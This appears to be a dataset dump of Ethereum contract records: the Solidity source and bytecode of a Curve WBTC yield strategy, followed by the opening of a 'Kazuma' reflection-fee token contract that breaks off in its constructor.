uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function vaults(address) external view returns (address); function rewards() external view returns (address); } interface UniswapRouter { function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external; } interface ICurveFi { function add_liquidity( uint256[4] calldata amounts, uint256 min_mint_amount ) external ; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_amount ) external; function calc_token_amount(uint256[4] calldata amounts,bool is_deposit) external view returns (uint256); function calc_withdraw_one_coin(uint256 _token_amount,int128 index)external view returns (uint256); } interface Gauge { function deposit(uint256) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; function integrate_fraction(address) external view returns(uint256); } interface Mintr { function mint(address) external; function minted(address,address) external view returns(uint256); } contract StrategyWBTCCurve { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public bt = address(0x76c5449F4950f6338A393F53CdA8b53B0cd3Ca3a); address constant public want = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); //WBTC address constant public cruvefi = address(0xC45b2EEe6e09cA176Ca3bB5f7eEe7C47bF93c756); address constant public bBtc = address(0x410e3E86ef427e30B9235497143881f717d93c2A); address constant public bBtcGauge = address(0xdFc7AdFa664b08767b735dE28f9E84cd30492aeE); address constant public CRVMinter = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); address constant public CRV = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public governance; address public controller; uint256 public redeliverynum = 100 * 1e18; uint256 public constant DENOMINATOR = 10000; uint256 public slip = 60; uint256 public depositLastPrice; bool public withdrawSlipCheck = true; address[] public swap2TokenRouting; address[] public swap2BTRouting; modifier onlyController { require(msg.sender == controller, "!controller"); _; } modifier isAuthorized() { require(msg.sender == governance || msg.sender == controller || msg.sender == address(this), "!authorized"); _; } constructor() public { governance = tx.origin; controller = 0x5C6d3Cb5612b551452B3E9b48c920559634510D4; swap2BTRouting = [CRV,weth,bt]; swap2TokenRouting = [CRV,weth,want]; IERC20(CRV).approve(unirouter, uint(-1)); IERC20(bBtc).approve(cruvefi,uint(-1)); } function deposit() public { uint _wbtc = IERC20(want).balanceOf(address(this)); require(_wbtc > 0,"WBTC is 0"); IERC20(want).safeApprove(cruvefi, 0); IERC20(want).safeApprove(cruvefi, _wbtc); uint256 v = _wbtc.mul(1e28).div(ICurveFi(cruvefi).calc_token_amount([0,0,uint256(100000000),0],true)); //1e10 * 1e18 uint256 beforebBtc = IERC20(bBtc).balanceOf(address(this)); ICurveFi(cruvefi).add_liquidity([0, 0, _wbtc,0],v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR)); uint256 _bBtc = IERC20(bBtc).balanceOf(address(this)); depositLastPrice = _wbtc.mul(1e28).div(_bBtc.sub(beforebBtc)); //1e10 * 1e18 require(_bBtc > 0,"bBtc is 0"); IERC20(bBtc).safeApprove(bBtcGauge, 0); IERC20(bBtc).safeApprove(bBtcGauge, _bBtc); Gauge(bBtcGauge).deposit(_bBtc); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external onlyController { uint amount = _withdraw(_amount); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); IERC20(want).safeTransfer(_vault, amount); } function _withdraw(uint _amount) internal returns(uint) { uint amount = IERC20(want).balanceOf(address(this)); if (amount < _amount) { uint256 _bBtc = _withdrawSome(_amount.sub(amount)); uint256 afterAmount = IERC20(want).balanceOf(address(this)); if(withdrawSlipCheck){ uint256 withdrawPrice = afterAmount.sub(amount).mul(1e28).div(_bBtc); //1e10 * 1e18 if(withdrawPrice < depositLastPrice){ require(depositLastPrice.sub(withdrawPrice).mul(DENOMINATOR) < slip.mul(depositLastPrice),"slippage"); } } amount = afterAmount; } if (amount < _amount){ return amount; } return _amount; } function _withdrawSome(uint _amount) internal returns(uint256 _bBtc) { _bBtc = ICurveFi(cruvefi).calc_token_amount([0,0,_amount,0],false); uint256 _bBtcBefore = IERC20(bBtc).balanceOf(address(this)); if(_bBtc > _bBtcBefore){ uint256 _bBtcGauge = _bBtc.sub(_bBtcBefore); if(_bBtcGauge >IERC20(bBtcGauge).balanceOf(address(this))){ _bBtcGauge = IERC20(bBtcGauge).balanceOf(address(this)); } Gauge(bBtcGauge).withdraw(_bBtcGauge); _bBtc = IERC20(bBtc).balanceOf(address(this)); } ICurveFi(cruvefi).remove_liquidity_one_coin(_bBtc,2,_amount.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR)); } function withdrawAll() external onlyController returns (uint balance) { bool withdrawSlipTemp = withdrawSlipCheck; withdrawSlipCheck = false; _withdraw(balanceOf()); withdrawSlipCheck = withdrawSlipTemp; balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); IERC20(want).safeTransfer(_vault, balance); } function balanceOfwant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfbBtc() public view returns (uint256) { return IERC20(bBtcGauge).balanceOf(address(this)).add(IERC20(bBtc).balanceOf(address(this))); } function balanceOfbBtc2WBTC() public view returns(uint256) { uint256 _bBtc = balanceOfbBtc(); if (_bBtc == 0) { return 0; } return ICurveFi(cruvefi).calc_withdraw_one_coin(_bBtc,2); } function balanceOf() public view returns (uint256) { return balanceOfwant().add(balanceOfbBtc2WBTC()); } function getPending() public view returns (uint256) { return Gauge(bBtcGauge).integrate_fraction(address(this)).sub(Mintr(CRVMinter).minted(address(this), bBtcGauge)); } function getCRV() public view returns(uint256) { return IERC20(CRV).balanceOf(address(this)); } function harvest() public { Mintr(CRVMinter).mint(bBtcGauge); redelivery(); } function redelivery() internal { uint256 reward = IERC20(CRV).balanceOf(address(this)); if (reward > redeliverynum) { uint256 _2wbtc = reward.mul(80).div(100); //80% uint256 _2bt = reward.sub(_2wbtc); //20% UniswapRouter(unirouter).swapExactTokensForTokens(_2wbtc, 0, swap2TokenRouting, address(this), now.add(1800)); UniswapRouter(unirouter).swapExactTokensForTokens(_2bt, 0, swap2BTRouting, Controller(controller).rewards(), now.add(1800)); } deposit(); } function setredeliverynum(uint256 value) public { require(msg.sender == governance, "!governance"); redeliverynum = value; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } function setSlip(uint256 _slip) external { require(msg.sender == governance, "!governance"); require(_slip <= DENOMINATOR,"slip error"); slip = _slip; } function setWithdrawSlipCheck(bool _check) external { require(msg.sender == governance, "!governance"); withdrawSlipCheck = _check; } }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063830d9db71161011a578063ac9c1959116100ad578063cdaee1141161007c578063cdaee114146103e0578063ceb293cf146103e8578063d0e30db0146103f0578063d768561b146103f8578063f77c479114610400576101fb565b8063ac9c1959146103ab578063b6bcdf53146103b3578063bd990bb3146103bb578063c57d87e8146103d8576101fb565b8063945c9142116100e9578063945c91421461036d57806394a3af0714610375578063a779eccc1461037d578063ab033ea914610385576101fb565b8063830d9db71461031b578063853828b614610337578063918f86741461033f57806392eefe9b14610347576101fb565b80632e1a7d4d1161019257806348cec6801161016157806348cec680146102e45780635aa6e675146103035780635dfa64081461030b578063722713f714610313576101fb565b80632e1a7d4d146102af578063392c731f146102cc5780633fc8cef3146102d45780634641257d146102dc576101fb565b80631fbbacfd116101ce5780631fbbacfd1461027a57806321d529a014610282578063257ae0de1461028a5780632bde1add14610292576101fb565b806311ae9ed21461020057806312ed71531461021a57806313b857b4146102535780631f1fcd5114610272575b600080fd5b610208610408565b60408051918252519081900360200190f35b6102376004803603602081101561023057600080fd5b5035610535565b604080516001600160a01b039092168252519081900360200190f35b6102706004803603602081101561026957600080fd5b503561055c565b005b6102376105f2565b61023761060a565b610208610622565b6102376106a8565b610270600480360360208110156102a857600080fd5b50356106c0565b610270600480360360208110156102c557600080fd5b5035610712565b61020861086b565b610237610871565b610270610889565b610270600480360360208110156102fa57600080fd5b50351515610911565b610237610971565b610208610980565b6102086109d5565b6103236109f6565b604080519115158252519081900360200190f35b6102086109ff565b610208610bfb565b6102706004803603602081101561035d57600080fd5b50356001600160a01b0316610c01565b610237610c70565b610237610c88565b610208610ca0565b6102706004803603602081101561039b57600080fd5b50356001600160a01b0316610ca6565b610237610d15565b610208610d2d565b610237600480360360208110156103d157600080fd5b5035610dd4565b610237610de1565b610237610df9565b610208610e11565b610270610e17565b6102086113a3565b6102376114b0565b604080516308b752bb60e41b815230600482015273dfc7adfa664b08767b735de28f9e84cd30492aee6024820152905160009161052f9173d061d61a4d941c39e5453435b6345dc261c2fce091638b752bb0916044808301926020929190829003018186803b15801561047a57600080fd5b505afa15801561048e573d6000803e3d6000fd5b505050506040513d60208110156104a457600080fd5b505160408051630940070760e01b8152306004820152905173dfc7adfa664b08767b735de28f9e84cd30492aee916309400707916024808301926020929190829003018186803b1580156104f757600080fd5b505afa15801561050b573d6000803e3d6000fd5b505050506040513d602081101561052157600080fd5b50519063ffffffff6114bf16565b90505b90565b6006818154811061054257fe5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031633146105a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6127108111156105ed576040805162461bcd60e51b815260206004820152600a60248201526939b634b81032b93937b960b11b604482015290519081900360640190fd5b600355565b732260fac5e5542a773aa44fbcfedf7c193bc2c59981565b73dfc7adfa664b08767b735de28f9e84cd30492aee81565b604080516370a0823160e01b81523060048201529051600091732260fac5e5542a773aa44fbcfedf7c193bc2c599916370a0823191602480820192602092909190829003018186803b15801561067757600080fd5b505afa15801561068b573d6000803e3d6000fd5b505050506040513d60208110156106a157600080fd5b5051905090565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000546001600160a01b0316331461070d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600255565b6001546001600160a01b0316331461075f576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b600061076a8261150a565b60015460408051632988bb9f60e21b8152732260fac5e5542a773aa44fbcfedf7c193bc2c599600482015290519293506000926001600160a01b039092169163a622ee7c91602480820192602092909190829003018186803b1580156107cf57600080fd5b505afa1580156107e3573d6000803e3d6000fd5b505050506040513d60208110156107f957600080fd5b505190506001600160a01b038116610841576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b610866732260fac5e5542a773aa44fbcfedf7c193bc2c599828463ffffffff61170b16565b505050565b60035481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b604080516335313c2160e11b815273dfc7adfa664b08767b735de28f9e84cd30492aee6004820152905173d061d61a4d941c39e5453435b6345dc261c2fce091636a62784291602480830192600092919082900301818387803b1580156108ef57600080fd5b505af1158015610903573d6000803e3d6000fd5b5050505061090f61175d565b565b6000546001600160a01b0316331461095e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6005805460ff1916911515919091179055565b6000546001600160a01b031681565b604080516370a0823160e01b8152306004820152905160009173d533a949740bb3306d119cc777fa900ba034cd52916370a0823191602480820192602092909190829003018186803b15801561067757600080fd5b600061052f6109e2610d2d565b6109ea610622565b9063ffffffff611a9516565b60055460ff1681565b6001546000906001600160a01b03163314610a4f576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6005805460ff19811690915560ff16610a6e610a696109d5565b61150a565b506005805460ff1916821515179055604080516370a0823160e01b81523060048201529051732260fac5e5542a773aa44fbcfedf7c193bc2c599916370a08231916024808301926020929190829003018186803b158015610ace57600080fd5b505afa158015610ae2573d6000803e3d6000fd5b505050506040513d6020811015610af857600080fd5b505160015460408051632988bb9f60e21b8152732260fac5e5542a773aa44fbcfedf7c193bc2c599600482015290519294506000926001600160a01b039092169163a622ee7c91602480820192602092909190829003018186803b158015610b5f57600080fd5b505afa158015610b73573d6000803e3d6000fd5b505050506040513d6020811015610b8957600080fd5b505190506001600160a01b038116610bd1576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b610bf6732260fac5e5542a773aa44fbcfedf7c193bc2c599828563ffffffff61170b16565b505090565b61271081565b6000546001600160a01b03163314610c4e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b73d533a949740bb3306d119cc777fa900ba034cd5281565b73410e3e86ef427e30b9235497143881f717d93c2a81565b60045481565b6000546001600160a01b03163314610cf3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b7376c5449f4950f6338a393f53cda8b53b0cd3ca3a81565b600080610d386113a3565b905080610d49576000915050610532565b6040805163cc2b27d760e01b81526004810183905260026024820152905173c45b2eee6e09ca176ca3bb5f7eee7c47bf93c7569163cc2b27d7916044808301926020929190829003018186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d6020811015610dcc57600080fd5b505191505090565b6007818154811061054257fe5b73c45b2eee6e09ca176ca3bb5f7eee7c47bf93c75681565b73d061d61a4d941c39e5453435b6345dc261c2fce081565b60025481565b604080516370a0823160e01b81523060048201529051600091732260fac5e5542a773aa44fbcfedf7c193bc2c599916370a0823191602480820192602092909190829003018186803b158015610e6c57600080fd5b505afa158015610e80573d6000803e3d6000fd5b505050506040513d6020811015610e9657600080fd5b5051905080610ed8576040805162461bcd60e51b815260206004820152600960248201526805742544320697320360bc1b604482015290519081900360640190fd5b610f12732260fac5e5542a773aa44fbcfedf7c193bc2c59973c45b2eee6e09ca176ca3bb5f7eee7c47bf93c756600063ffffffff611aef16565b610f4b732260fac5e5542a773aa44fbcfedf7c193bc2c59973c45b2eee6e09ca176ca3bb5f7eee7c47bf93c7568363ffffffff611aef16565b600061105573c45b2eee6e09ca176ca3bb5f7eee7c47bf93c7566001600160a01b031663cf701ff7604051806080016040528060008152602001600081526020016305f5e1008152602001600081525060016040518363ffffffff1660e01b81526004018083600460200280838360005b83811015610fd4578181015183820152602001610fbc565b50505050905001821515151581526020019250505060206040518083038186803b15801561100157600080fd5b505afa158015611015573d6000803e3d6000fd5b505050506040513d602081101561102b57600080fd5b5051611049846b204fce5e3e2502611000000063ffffffff611c0216565b9063ffffffff611c5b16565b604080516370a0823160e01b8152306004820152905191925060009173410e3e86ef427e30b9235497143881f717d93c2a916370a08231916024808301926020929190829003018186803b1580156110ac57600080fd5b505afa1580156110c0573d6000803e3d6000fd5b505050506040513d60208110156110d657600080fd5b505160408051608081018252600080825260208201819052918101869052606081019190915260035491925073c45b2eee6e09ca176ca3bb5f7eee7c47bf93c7569163029b2f34919061114990612710906110499061113c90839063ffffffff6114bf16565b889063ffffffff611c0216565b6040516001600160e01b031960e085901b1681526004018083608080838360005b8381101561118257818101518382015260200161116a565b5050505090500182815260200192505050600060405180830381600087803b1580156111ad57600080fd5b505af11580156111c1573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516000935073410e3e86ef427e30b9235497143881f717d93c2a92506370a0823191602480820192602092909190829003018186803b15801561121a57600080fd5b505afa15801561122e573d6000803e3d6000fd5b505050506040513d602081101561124457600080fd5b5051905061127761125b828463ffffffff6114bf16565b611049866b204fce5e3e2502611000000063ffffffff611c0216565b600455806112b8576040805162461bcd60e51b815260206004820152600960248201526806242746320697320360bc1b604482015290519081900360640190fd5b6112f273410e3e86ef427e30b9235497143881f717d93c2a73dfc7adfa664b08767b735de28f9e84cd30492aee600063ffffffff611aef16565b61132b73410e3e86ef427e30b9235497143881f717d93c2a73dfc7adfa664b08767b735de28f9e84cd30492aee8363ffffffff611aef16565b73dfc7adfa664b08767b735de28f9e84cd30492aee6001600160a01b031663b6b55f25826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b5050505050505050565b604080516370a0823160e01b8152306004820152905160009161052f9173410e3e86ef427e30b9235497143881f717d93c2a916370a08231916024808301926020929190829003018186803b1580156113fb57600080fd5b505afa15801561140f573d6000803e3d6000fd5b505050506040513d602081101561142557600080fd5b5051604080516370a0823160e01b8152306004820152905173dfc7adfa664b08767b735de28f9e84cd30492aee916370a08231916024808301926020929190829003018186803b15801561147857600080fd5b505afa15801561148c573d6000803e3d6000fd5b505050506040513d60208110156114a257600080fd5b50519063ffffffff611a9516565b6001546001600160a01b031681565b600061150183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c9d565b90505b92915050565b604080516370a0823160e01b815230600482015290516000918291732260fac5e5542a773aa44fbcfedf7c193bc2c599916370a08231916024808301926020929190829003018186803b15801561156057600080fd5b505afa158015611574573d6000803e3d6000fd5b505050506040513d602081101561158a57600080fd5b50519050828110156116f25760006115b06115ab858463ffffffff6114bf16565b611d34565b604080516370a0823160e01b81523060048201529051919250600091732260fac5e5542a773aa44fbcfedf7c193bc2c599916370a08231916024808301926020929190829003018186803b15801561160757600080fd5b505afa15801561161b573d6000803e3d6000fd5b505050506040513d602081101561163157600080fd5b505160055490915060ff16156116ee576000611673836110496b204fce5e3e25026110000000611667868963ffffffff6114bf16565b9063ffffffff611c0216565b90506004548110156116ec576004546003546116949163ffffffff611c0216565b6116af612710611667846004546114bf90919063ffffffff16565b106116ec576040805162461bcd60e51b8152602060048201526008602482015267736c69707061676560c01b604482015290519081900360640190fd5b505b9150505b82811015611701579050611706565b829150505b919050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610866908490612161565b604080516370a0823160e01b8152306004820152905160009173d533a949740bb3306d119cc777fa900ba034cd52916370a0823191602480820192602092909190829003018186803b1580156117b257600080fd5b505afa1580156117c6573d6000803e3d6000fd5b505050506040513d60208110156117dc57600080fd5b5051600254909150811115611a8a576000611803606461104984605063ffffffff611c0216565b90506000611817838363ffffffff6114bf16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d6338ed173983600060063061184b4261070863ffffffff611a9516565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03166001600160a01b0316815260200183815260200182810382528581815481526020019150805480156118d357602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116118b5575b50509650505050505050600060405180830381600087803b1580156118f757600080fd5b505af115801561190b573d6000803e3d6000fd5b50505050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166338ed17398260006007600160009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b15801561198557600080fd5b505afa158015611999573d6000803e3d6000fd5b505050506040513d60208110156119af57600080fd5b50516119c34261070863ffffffff611a9516565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03166001600160a01b031681526020018381526020018281038252858181548152602001915080548015611a4b57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611a2d575b50509650505050505050600060405180830381600087803b158015611a6f57600080fd5b505af1158015611a83573d6000803e3d6000fd5b5050505050505b611a92610e17565b50565b600082820183811015611501576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b801580611b75575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015611b4757600080fd5b505afa158015611b5b573d6000803e3d6000fd5b505050506040513d6020811015611b7157600080fd5b5051155b611bb05760405162461bcd60e51b815260040180806020018281038252603681526020018061240c6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610866908490612161565b600082611c1157506000611504565b82820282848281611c1e57fe5b04146115015760405162461bcd60e51b81526004018080602001828103825260218152602001806123c16021913960400191505060405180910390fd5b600061150183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231f565b60008184841115611d2c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cf1578181015183820152602001611cd9565b50505050905090810190601f168015611d1e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600073c45b2eee6e09ca176ca3bb5f7eee7c47bf93c7566001600160a01b031663cf701ff760405180608001604052806000815260200160008152602001858152602001600081525060006040518363ffffffff1660e01b81526004018083600460200280838360005b83811015611db6578181015183820152602001611d9e565b50505050905001821515151581526020019250505060206040518083038186803b158015611de357600080fd5b505afa158015611df7573d6000803e3d6000fd5b505050506040513d6020811015611e0d57600080fd5b5051604080516370a0823160e01b8152306004820152905191925060009173410e3e86ef427e30b9235497143881f717d93c2a916370a08231916024808301926020929190829003018186803b158015611e6657600080fd5b505afa158015611e7a573d6000803e3d6000fd5b505050506040513d6020811015611e9057600080fd5b50519050808211156120a9576000611eae838363ffffffff6114bf16565b604080516370a0823160e01b8152306004820152905191925073dfc7adfa664b08767b735de28f9e84cd30492aee916370a0823191602480820192602092909190829003018186803b158015611f0357600080fd5b505afa158015611f17573d6000803e3d6000fd5b505050506040513d6020811015611f2d57600080fd5b5051811115611fb657604080516370a0823160e01b8152306004820152905173dfc7adfa664b08767b735de28f9e84cd30492aee916370a08231916024808301926020929190829003018186803b158015611f8757600080fd5b505afa158015611f9b573d6000803e3d6000fd5b505050506040513d6020811015611fb157600080fd5b505190505b73dfc7adfa664b08767b735de28f9e84cd30492aee6001600160a01b0316632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561201057600080fd5b505af1158015612024573d6000803e3d6000fd5b5050604080516370a0823160e01b8152306004820152905173410e3e86ef427e30b9235497143881f717d93c2a93506370a0823192506024808301926020929190829003018186803b15801561207957600080fd5b505afa15801561208d573d6000803e3d6000fd5b505050506040513d60208110156120a357600080fd5b50519250505b73c45b2eee6e09ca176ca3bb5f7eee7c47bf93c7566001600160a01b0316631a4d01d28360026120fc6127106110496120ef6003546127106114bf90919063ffffffff16565b8a9063ffffffff611c0216565b6040518463ffffffff1660e01b81526004018084815260200183600f0b81526020018281526020019350505050600060405180830381600087803b15801561214357600080fd5b505af1158015612157573d6000803e3d6000fd5b5050505050919050565b612173826001600160a01b0316612384565b6121c4576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106122025780518252601f1990920191602091820191016121e3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612264576040519150601f19603f3d011682016040523d82523d6000602084013e612269565b606091505b5091509150816122c0576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115612319578080602001905160208110156122dc57600080fd5b50516123195760405162461bcd60e51b815260040180806020018281038252602a8152602001806123e2602a913960400191505060405180910390fd5b50505050565b6000818361236e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611cf1578181015183820152602001611cd9565b50600083858161237a57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906123b85750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a72315820cf2843b63c74c0b6bbb80aef76a31b9686b5fdc276169712b3b0a4924ed6251364736f6c63430005110032
[ 5, 4, 9, 7 ]
0xf263dc238cf09ba91d6d3bb1ec24bcbf52879c8e
/** /** //SPDX-License-Identifier: UNLICENSED Telegram: https://t.me/KazumaEthPortal Website: https://kazuma.live Twitter: https://twitter.com/KazumaEth */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Kazuma is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Kazuma"; string private constant _symbol = "Kazuma"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9E1cDF1fD0946525d82B8c0D44D919CC0A08D123); _feeAddrWallet2 = payable(0x4937610a15008beB628AAaB7Ca59D65922E55d60); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = 